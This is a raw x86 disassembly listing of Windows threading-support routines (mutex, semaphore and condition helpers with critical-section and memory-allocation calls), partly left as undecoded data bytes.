		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 90570A75h, 808EC6E8h,	4C48377h
		dd 7E89016Ah, 99FE814h,	0C483FFFDh, 0C35E5F04h,	3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431470	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_5108E0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_43149B
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_43149B
		push	eax
		call	near ptr 2760686h
		nop
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4314A0


loc_43149B:				; CODE XREF: sub_431470+14j
					; sub_431470+1Bj
		mov	esi, 3


loc_4314A0:				; CODE XREF: sub_431470+29j
		push	offset dword_5108E0
		nop
		call	near ptr 7C9010EDh
		test	esi, esi
		jnz	short loc_4314BC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4314BE


loc_4314BC:				; CODE XREF: sub_431470+3Dj
		mov	eax, esi


loc_4314BE:				; CODE XREF: sub_431470+4Aj
		pop	esi
		retn
sub_431470	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4314E0:				; CODE XREF: ___:00401654j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_431531
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_431531
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_431511
		lea	eax, [esi+4]
		push	eax
		nop
		call	near ptr 27605D3h
		test	eax, eax
		jnz	short loc_431517
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_431511:				; CODE XREF: ___:004314F9j
					; ___:0043151Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431517:				; CODE XREF: ___:00431507j
		cmp	dword ptr [esi], 0
		jnz	short loc_431511
		mov	edi, dword_5118D8


loc_431522:				; CODE XREF: ___:00431529j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_431522
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431531:				; CODE XREF: ___:004314E9j
					; ___:004314F1j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431560	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_5103C4
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_431560	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 231F443h, 187C1D8Bh
		dd 26A0051h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 0ED79E850h
		dd 50900235h, 9050D3FFh, 32EA43E8h, 5BC08502h, 0E8560E75h
		dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 32F0ADE8h
		dd 28468902h, 3C4158Bh,	52560051h, 0FD0B10E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431630	proc near		; CODE XREF: sub_401A64j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43164E
		test	eax, eax
		jz	short loc_431648
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43164E


loc_431648:				; CODE XREF: sub_431630+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43164E:				; CODE XREF: sub_431630+Aj
					; sub_431630+16j
		xor	eax, eax
		retn
sub_431630	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431670:				; CODE XREF: ___:0040200Ej
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43167E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43167E:				; CODE XREF: ___:00431676j
		mov	dword_5103D4, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4316A0:				; CODE XREF: ___:00401564j
		mov	eax, dword_5103D4
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4316C0	proc near		; CODE XREF: sub_401B27j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4316E2
		push	84h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_431729


loc_4316E2:				; CODE XREF: sub_4316C0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		nop
		call	near ptr 27504DAh
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_431729
		push	esi
		call	sub_401BD1
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431729:				; CODE XREF: sub_4316C0+20j
					; sub_4316C0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4316C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431750	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_5108E0
		nop
		call	near ptr 7C901005h
		mov	esi, dword_447710
		cmp	esi, 1
		jz	short loc_431785
		mov	eax, [esi+8]
		push	offset dword_5108E0
		mov	dword_447710, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431785:				; CODE XREF: sub_431750+15j
		push	offset dword_5108E0
		xor	esi, esi
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_431750	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317C0	proc near		; CODE XREF: sub_401BD1j

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_5108E0
		call	near ptr 7C901005h
		nop
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_447710
		push	offset dword_5108E0
		mov	[edx+8], eax
		mov	dword_447710, edx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		retn
sub_4317C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431810	proc near		; CODE XREF: sub_40164Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_431830
sub_431810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431830	proc near		; CODE XREF: sub_431810+7p
					; sub_431950+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_431830	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_431866
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43186E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43186E
		mov	edi, 2
		jmp	short loc_43186E
; ---------------------------------------------------------------------------


loc_431866:				; CODE XREF: ___:0043184Bj
		mov	dword ptr [esp+0Ch], 0


loc_43186E:				; CODE XREF: ___:00431852j
					; ___:0043185Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		nop
		call	near ptr 2750377h
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_4318F9
		dec	ecx
		jz	short loc_4318A4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318A4:				; CODE XREF: ___:00431889j
		mov	eax, [esp+0Ch]
		push	eax
		call	near ptr 277059Fh
		nop
		test	esi, esi
		jz	short loc_4318EE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4318E5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4318E5:				; CODE XREF: ___:004318C9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4318EE:				; CODE XREF: ___:004318B1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318F9:				; CODE XREF: ___:00431886j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431950	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_431830
sub_431950	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431980	proc near		; CODE XREF: sub_401C17j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4319B4
		push	esi
		push	ecx
		call	sub_4021BC
		add	esp, 8
		mov	esi, eax
		push	offset dword_510940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4319B4:				; CODE XREF: sub_431980+17j
		test	eax, eax
		jnz	short loc_4319BD
		mov	esi, 16h


loc_4319BD:				; CODE XREF: sub_431980+36j
		push	offset dword_510940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4319F0	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_431A04
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A04:				; CODE XREF: sub_4319F0+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_431A1F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_431A1F
		cmp	dword ptr [eax], 1
		jnz	short loc_431A1F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A1F:				; CODE XREF: sub_4319F0+1Aj
					; sub_4319F0+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431A44
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A44:				; CODE XREF: sub_4319F0+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_431A60
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_431A60
		mov	edi, [edi+4]
		jmp	short loc_431A62
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: sub_4319F0+63j
					; sub_4319F0+69j
		xor	edi, edi


loc_431A62:				; CODE XREF: sub_4319F0+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_431A9D
		push	esi
		mov	ebp, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A9D:				; CODE XREF: sub_4319F0+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		call	near ptr 2790000h
		nop
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_4319F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B00	proc near		; CODE XREF: sub_402252j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_431BE0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_431BE0
		cmp	eax, 0FFFFFFFFh
		jz	loc_431BA5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_401785
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_431BDB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_431B97
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_431B90
		add	edx, 10h
		push	edx
		call	sub_401690
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 2780835h
		mov	ecx, [esp+8+arg_0]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B90:				; CODE XREF: sub_431B00+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B97:				; CODE XREF: sub_431B00+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BA5:				; CODE XREF: sub_431B00+1Dj
		push	offset dword_510940
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_431BCB
		push	offset dword_510940
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BCB:				; CODE XREF: sub_431B00+B3j
		push	offset dword_510940
		mov	esi, 10h
		call	near ptr 7C9010EDh
		nop


loc_431BDB:				; CODE XREF: sub_431B00+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BE0:				; CODE XREF: sub_431B00+Aj
					; sub_431B00+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C30	proc near		; CODE XREF: sub_401A1Ej

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_431C53
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431C53:				; CODE XREF: sub_431C30+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_431C30	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C80	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431CA1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431CA1
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CA1:				; CODE XREF: sub_431C80+9j
					; sub_431C80+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_431C80	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431CC0:				; CODE XREF: ___:00401BBDj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431CDD
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431CDD
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431CDD
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431CDD:				; CODE XREF: ___:00431CC6j
					; ___:00431CCCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D00:				; CODE XREF: ___:00401906j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431D2A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431D2A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431D1E
		test	eax, eax
		jnz	short loc_431D2A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431D1E:				; CODE XREF: ___:00431D15j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431D2A:				; CODE XREF: ___:00431D06j
					; ___:00431D0Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D40	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D61
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D61
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_431D61
		cmp	edx, 2
		jg	short loc_431D61
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_431D61:				; CODE XREF: sub_431D40+8j
					; sub_431D40+Ej ...
		mov	eax, 16h
		retn
sub_431D40	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D80	proc near		; CODE XREF: sub_4018CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D9E
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D9E
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_431D9E
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_431D9E:				; CODE XREF: sub_431D80+8j
					; sub_431D80+Ej ...
		mov	eax, 16h
		retn
sub_431D80	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431DC0	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_431E77
		mov	eax, [esi]
		test	eax, eax
		jz	loc_431E77
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431DF1
		push	esi
		call	sub_401C17
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_431DF1
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431DF1:				; CODE XREF: sub_431DC0+1Dj
					; sub_431DC0+2Cj
		mov	esi, [esi]
		push	esi
		nop
		call	near ptr 27605D3h
		test	eax, eax
		jnz	short loc_431E1A


loc_431DFE:				; CODE XREF: sub_431DC0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_431E12
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_431E12:				; CODE XREF: sub_431DC0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E1A:				; CODE XREF: sub_431DC0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431E5A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 0E921E890h
		dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E5A:				; CODE XREF: sub_431DC0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_431EB0
		add	esp, 4
		test	eax, eax
		jz	short loc_431DFE
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E77:				; CODE XREF: sub_431DC0+Aj
					; sub_431DC0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EB0	proc near		; CODE XREF: sub_431DC0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_431ECA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 2770421h
		test	eax, eax
		jnz	short loc_431ECA
		retn
; ---------------------------------------------------------------------------


loc_431ECA:				; CODE XREF: sub_431EB0+6j
					; sub_431EB0+17j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_431EB0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EF0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_432088
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432088
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431F21
		push	esi
		call	sub_401C17
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431F21
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F21:				; CODE XREF: sub_431EF0+1Dj
					; sub_431EF0+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 27605D3h
		test	eax, eax
		jnz	short loc_431F52


loc_431F30:				; CODE XREF: sub_431EF0+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F52:				; CODE XREF: sub_431EF0+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431F96
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0E7E9E890h
		dd 7E830233h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F96:				; CODE XREF: sub_431EF0+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_431FAA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FAA:				; CODE XREF: sub_431EF0+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_432100
		add	esp, 8
		sub	eax, 0
		jz	loc_43206A
		dec	eax
		jz	short loc_432034
		dec	eax
		jz	short loc_431FD5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FD5:				; CODE XREF: sub_431EF0+D4j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_432007
		call	near ptr 277075Fh
		nop
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432007:				; CODE XREF: sub_431EF0+101j
		nop
		call	near ptr 277075Fh
		test	eax, eax
		jl	short loc_432026
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432026
		call	near ptr 77C1F2BCh
		nop
		mov	ebp, [eax]


loc_432026:				; CODE XREF: sub_431EF0+11Fj
					; sub_431EF0+12Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432034:				; CODE XREF: sub_431EF0+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_43205A
		push	esi
		nop
		call	near ptr 277075Fh
		mov	ebp, 274Ch


loc_43205A:				; CODE XREF: sub_431EF0+15Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		test	edi, edi
		jnz	short loc_432081
		jmp	loc_431F30
; ---------------------------------------------------------------------------


loc_43206A:				; CODE XREF: sub_431EF0+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43207E:				; CODE XREF: sub_431EF0+4Dj
					; sub_431EF0+187j
		mov	[esi+0Ch], eax


loc_432081:				; CODE XREF: sub_431EF0+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432088:				; CODE XREF: sub_431EF0+Aj
					; sub_431EF0+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_431EF0	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432100	proc near		; CODE XREF: sub_431EF0+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_43219E
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_432132
		or	eax, 0FFFFFFFFh


loc_43211C:				; CODE XREF: sub_432100+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 2770421h
		test	eax, eax
		jnz	short loc_43218C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432132:				; CODE XREF: sub_432100+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
